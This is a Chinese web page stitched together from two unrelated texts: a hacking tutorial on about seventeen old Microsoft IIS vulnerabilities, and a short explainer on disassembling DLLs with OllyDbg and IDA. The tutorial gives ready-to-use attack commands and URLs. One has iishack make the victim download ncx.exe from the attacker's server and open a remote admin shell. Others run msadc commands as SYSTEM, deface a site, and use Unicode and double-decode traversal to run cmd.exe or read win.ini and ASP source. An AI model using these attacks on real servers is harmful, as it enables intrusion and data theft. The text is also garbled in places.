主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你毕穗自己相应的目录下,然后使用iishack.exe来检查目标机器:
c:>iishack.exe <victim>80 <your web server>/ncx.exe
然后你就使用netcat来连接你要检测的服务器:
c:>nc <victim>80
如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip
2.msadc
IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h <host>{ -d <delay>-X -v }
-h <host>= host you want to scan (ip or domain)
-d <seconds>= delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\hostsharefile>= use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s <number>= run only step <number>
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -h http://www.targe.com/
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:
echo hacked by me >d:inetpubwwwrootvictimwebindex.htm
3.Codebrws.asp
察看文件源代码
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
4.Showcode.asp
察看文件源代码
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini
5.Null.htw
察看文件源代码
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full
6.webhits.dll &.htw
hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息:
format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消
这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
一个攻击者可以使用如下的方法来访问系统中文件的内容:
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: http://www.victim.com/default.asp::$DATA你就得到了源代码
8.ASP Dot Bug
在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。
http://www.victim.com/sample.asp.
9.ISM.DLL
这个漏洞是由Cerberus Information Security team.最早发现的,它运行在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行多次攻击。
http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr
10. .idc &.ida Bugs
这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。
http://www.victim.com/anything.idc 或者 anything.idq
11.+.htr Bug
对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:
http://www.victim.com/global.asa+.htr
12.NT Site Server Adsamples
通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:
http://www.victim.com/adsamples/config/site.csc
13./iisadmpwd
IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制 在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:winntsystem32inetsrviisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。
14.Translate:f Bug
泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中, 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0上也有这个漏洞。利用程序: trasn1.pl,trans2.pl
15.Unicode
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
可能需要察看以下几个目录
GET
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
GET
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.0rnrn
eeye开发了工具包iishack1.5针对这一漏洞进行测试
16.iis5.0 缓冲溢出
微软Win 2K IIS
5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS
5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip
17.IIS CGI文件名二次解码漏洞
IIS在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。
通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对"../"或"./"的检查,在某些条件下,攻击者可以执行任意系统命令。
例如,对于’’这个字符,正常编码后是%5c。这三个字符对应的编码为:
’%’ = %25
’5’ = %35
’c’ = %63
如果要对这三个字符再做一次编码,就可以有多种形式,例如:
%255c
%%35c
%%35%63
%25%35%63
...
因此,".."就可以表示成"..%255c"或"..%%35c"等等形式。在经过第一次解码之后,变成"..%5c"。IIS会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成".."。因此攻击者就可以使用".."来进行目录遍历,执行web目录之外的任意程序。 好了 先到这里。。。。漏洞太多了不过还是微软系统排第一的 一个是使用的人群广 一个是XXX哈哈哈
DLL 属于可执行文件中的一类,又称为动态链接库,不能直接用DEBUG加载,一般由应用程序因使用该库中的函数,而由 *** 作系统在应用程序加载的同时被加载入特定地址,这个地址一般是DLL在链接时指定的。当DLL被加载到运行空间,根据输出函数表,可以得到各个函数的入口地址,然后用DEBUG在各个入口下断点,调用该函数时DEBUG将跟踪进入该函数,从而实现反汇编。反汇编属于逆向工程,逆向工程的主要手段有两大类,其中一类是动态分析,另一类是静态分析。
前面提到的方法属于动态分析,由DEBUG实现反汇编,该方法不容易得到完整的代码,一般只能形成一段一段独立分散的代码,同时由于DEBUG的局限性,反汇编的代码质量多不高,生成的代码不能直接使用,原因在于DLL在加载时若没有加载到指定地址空间, *** 作系统将对代码进行重定向,所以DEBUG只能得到重定向后的代码,这类代码必须修改每一个重定向点,才能形成可执行代码。作为WINDOWS32位 *** 作系统, OLLYDBG是最为优秀的调试、跟踪、反汇编工具,多窗口运行,可以方便的通过窗口 *** 作完成各类动作,而不需要像一般DEBUG那样由命令行来完成,OLLYDBG还有许多一般调试器不具备的功能,同时由于每一代高手不断的修改,使其具有多种功能,同时带来的就是混乱,谁也不知道有多少版本,谁也不清楚每个版本到底增加了什么功能,但就这样,也是瑕不掩疵, OLLYDBG任然是DEBUG中最强大,最好使用的。
静态分析和动态分析不同,静态分析直接打开原程序,加载而不运行,然后直接分析加载的代码。目前静态分析工具,最强大的当属IDA,IDA支持几乎所有种类的汇编语言。
IDA加载应用程序有许多选项,可以选择完整的加载整个程序,也可以选清唤择加载程序的某个块,一般可选择的是否加载文件头、资源表、输入表、输出表等等。
IDA还支持调试,也就是说,当你在进行反汇编过程时,可以直接使用IDA来调试跟踪,以分析代码的动态执行情况,不过就动态跟踪来说,OLLYDBG更为强大。
IDA反汇编的正确率和代码的复杂程度有关,对于正规开发的代码,尤其是如果能够获得源程序的调试文件,即所谓的PDB文件,IDA可以读取PDB文件中的信息,使得反汇编的效率和准确度大为提高,生成的代码甚至比源代码易读。IDA将反汇编生成的结果存入IDB文件中。当你确认反汇编的结果达到你的要求,可以让IDA输出汇编源代码,IDA也提供其他格式的输出,例如HTML文件,便于用户阅读。楼主主要是用于分析DLL文件,一般来说这类文件更适合做静态分析,所以推荐使用IDA来进行。
IDA对于分析那些加壳或含有大量花指令、混淆代码、垃圾代码的程序,反汇编的正确率会大为下降,因为IDA无法正确的确认当期位置上的数值是属于代码,还是属于数据,是普通C字符,还是DELPHI的字符串,还是UNICODE字符串,是结构数据还是数组还是类表(DELPHI生成的代码中含有大量的类表)等等。遇到这种情况,就需要使用者掌握许多技巧,例如可以通过使用者对当前数据的认识,指导IDA如何处理当前的数据。对于大批量的,具有某些规律的数据,IDA还提供了脚本语言(文件尾位idc),通过对脚本的执行来指导IDA如何进行反汇编。虚正竖对于更为复杂的情况,例如程序是自解压运行的,这时IDA就没有任何能力来进行正确的分析,通常都会用OLLYDBG动态跟踪,等程序完成自解压后从内存中将解压后的代码完整的挖下来形成文件,再由IDA进行静态分析。
对于成功进行反汇编的代码,IDA根据代码的入口、调用、转移等指令,可以为使用者提供各种格式的程序的流程图,IDA提供许多格式由用户选择,便于用户理解程序的结构。
汇编语言的科差大学定义,其实就是介于机器码(各种01)和高级语言(如C)之间的一种语言。你用C语言写一段程序,其实要在机器上运行的话,机器是不懂的,要经过编译器、汇编器编译,变成汇编,最终再变成机器码,机器根据这些机器码的01可以控制硬件电路完成你程序想执行的 *** 作。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)